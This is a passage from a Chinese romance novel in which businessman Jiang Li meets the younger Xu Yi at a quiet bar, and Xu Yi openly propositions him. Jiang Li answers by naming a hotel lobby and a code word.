经单身多年,之前对陈艾卅的好感也止步于欣赏和比较喜欢,已经很久没有接触过感情了,甚至有的时候会刻意回避掉,也不是什么别的原因,主要是年轻的时候的确有些放纵,后来越来越觉得接触的人不太纯粹,索性后面都一刀切了,这也导致了为什么在发现自己对陈艾卅的好感之后,没有付诸实际行动。 可面对这一张名片,和今天这个在自己面前可以说丝毫不给面子的人,蒋礼是觉得新鲜的,至少这个人很勇敢。 他也不得不承认,5%的销售额拿捏得也十分到位,可能多出1%来就不会有同意的可能,可见今天这人到公司来之前,也做了大量的功课。 那就遂了他的愿吧,合约也好,赴约也好。 蒋礼是刻意晚一点去的,地址指向的是一个酒吧,在地下一层,但不得不说,站在门口看到一个巨大的“狩”字,他还是笑出了声,他觉得徐熠这个小男孩,很有意思。 本来以为是喧嚣的嗨吧,却没想到是一个只有驻唱的静吧,地方不大,六七张圆桌,三四个沙发位,还有就是吧台了,环顾了一周,蒋礼没发现徐熠,就独自一个人在吧台边坐了下来。 名片或许不是给自己的,只不过被徐熠不小心夹了进来。 这个念头起来了之后,蒋礼有些如坐针毡,即使他平日里和客户应酬也会来这类地方,但从来都是“双向奔赴”,而不是“守株待兔”。 但他还是保持住了自己的风范,问吧台要了一杯加了冰球的威士忌,并且在酒杯被端上来的时候塞了一张纸币给他,调酒师很惊讶,接着笑了笑,并给了他一小盘膨化小食表示感谢。 在这个几乎不用现金的地方,保持携带现金的习惯,这是蒋礼之前长期呆在国外留下的印记。 这一杯酒喝完,如果还碰不到徐熠的话,就回去了,他不喜欢和小男孩玩拉扯的游戏,进度太长,动作太慢。 喝完了最后一口,蒋礼没有任何犹豫,拿起隔壁桌上放着的大衣,就要往外走,刚刚走了两步,胳膊就被把住了,把住他胳膊的手很有力,可松开得也很快。 蒋礼抬头,撞上了徐熠的视线。 “抱歉,工作上临时有个安排,来晚了。”徐熠看了看蒋礼的动作,“要走了吗?” “嗯,要走了。”说完后他就套上大衣,往门口走去。 “Aaron!”徐熠朝着蒋礼的后背大声喊了一句,“做吗?!” 静吧本来就不吵闹,在徐熠的这一声大喊后,几乎所有人都停止了交谈,连驻唱歌手都停下了,空气好像被这份安静凝结了,不仅是徐熠,所有人都在等这个站在门口的帅气男人回答。 窘迫吗?一点没有。 反而有些兴奋,久违了的兴奋。 蒋礼拢了拢身上的大衣,只转了半个身,酒吧里的灯光射线正好打在他的银边眼镜上,反射出了一些光芒,他对着徐熠抬了抬头,“你先喝一杯。” “然后呢?”徐熠大声追着问。 “来对面酒店的lobby找我。” “暗号呢?”明明还没喝酒,徐熠问的每一句都有些死乞白赖的醉意。 “Patrick.”